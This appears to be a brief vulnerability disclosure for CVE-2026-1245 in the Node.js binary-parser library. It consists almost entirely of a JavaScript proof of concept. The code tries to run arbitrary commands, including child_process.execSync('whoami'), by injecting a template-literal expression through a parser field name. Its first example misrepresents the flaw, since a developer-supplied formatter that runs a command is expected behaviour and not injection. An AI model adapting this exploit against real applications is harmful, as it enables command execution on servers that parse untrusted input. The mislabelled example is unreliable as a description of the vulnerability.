CVE-2026-1245 binary-parser库代码注入漏洞

const { Parser } = require('binary-parser'); // Malicious field name that injects code const maliciousParser = new Parser() .uint8('length') .string('name', { length: 'length', encoding: 'utf8', // Inject code via field name using template literal formatter: (val) => `${require('child_process').execSync('whoami')}` }); // Another PoC - direct code injection in field name const exploitParser = new Parser() .uint8('a') .string('${console.log("CODE INJECTED")}', { length: 1 }); // Simulating parsing untrusted data try { const buffer = Buffer.from([5, 0x41]); const result = exploitParser.parse(buffer); console.log('Parsed result:', result); } catch (e) { console.log('Error (may still execute injected code):', e.message); } // Example of detecting vulnerable version console.log('binary-parser version check:', require('binary-parser/package.json').version);